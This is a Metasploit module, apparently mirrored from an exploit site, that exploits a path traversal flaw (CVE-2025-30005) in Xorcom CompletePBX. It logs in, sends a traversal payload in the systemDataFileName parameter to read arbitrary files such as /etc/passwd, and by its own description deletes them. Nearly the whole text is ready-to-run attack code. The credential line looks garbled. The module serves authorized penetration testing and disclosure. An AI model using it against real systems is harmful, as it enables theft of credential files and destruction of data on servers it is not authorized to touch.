## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-XORCOM_COMPLETEPBX_DIAGNOSTICS_FILE_READ-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::CompletePBX
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName',
'Description' => %q{
This module exploits an authenticated path traversal vulnerability in
Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the
`systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers
to retrieve arbitrary files from the system.
Additionally, the exploitation of this vulnerability results in the **deletion** of the
requested file from the target system.
The vulnerability is identified as CVE-2025-30005.
},
'Author' => [
'Valentin Lobstein' # Research and module development
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-30005'],
['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
['URL', 'https://chocapikk.com/posts/2025/completepbx/']
],
'DisclosureDate' => '2025-03-02',
'Notes' => {
'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
OptString.new('PASSWORD', [true, 'Password for authentication']),
OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
]
)
register_advanced_options(
[
OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
]
)
end
def check
completepbx?
end
def run
if datastore['DefangedMode']
warning = <<~EOF
Are you *SURE* you want to execute the module against the target?
Running this module will attempt to read and delete the file
specified by TARGETFILE on the remote system.
If you have explicit authorisation, re-run with:
set DefangedMode false
EOF
fail_with(Failure::BadConfig, warning)
end
print_warning('This exploit WILL delete the target file if permissions allow.')
sleep(2)
sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']])
target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"
print_status("Attempting to read file: #{target_file}")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'GET',
'headers' => { 'Cookie' => sid_cookie },
'vars_get' => {
'class' => 'diagnostics',
'method' => 'stopMode',
'systemDataFileName' => target_file
}
})
unless res
fail_with(Failure::Unreachable, 'No response from target')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
end
body = res.body.lines[0..-2].join
if res.headers['Content-Type']&.include?('application/zip')
print_status('ZIP file received, attempting to list files')
files_list = list_files_in_zip(body)
if files_list.empty?
fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.')
end
print_status("Files inside ZIP archive:\n - " + files_list.join("\n - "))
extracted_content = read_file_from_zip(body, File.basename(target_file), files_list)
if extracted_content
print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}")
else
fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.')
end
else
print_good("Raw file content received:\n#{body}")
end
end
def list_files_in_zip(zip_data)
files = []
begin
::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
while (entry = io.get_next_entry)
files << entry.name
end
end
rescue ::Zip::Error, ::IOError, ::ArgumentError => e
fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}")
end
files
end
def read_file_from_zip(zip_data, target_filename, files_list)
possible_matches = files_list.select { |f| f.include?(target_filename) }
return nil if possible_matches.empty?
correct_filename = possible_matches.first
file_content = nil
begin
::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
while (entry = io.get_next_entry)
if entry.name == correct_filename
file_content = io.read
break
end
end
end
rescue ::Zip::Error, ::IOError, ::ArgumentError => e
fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}")
end
file_content
end
end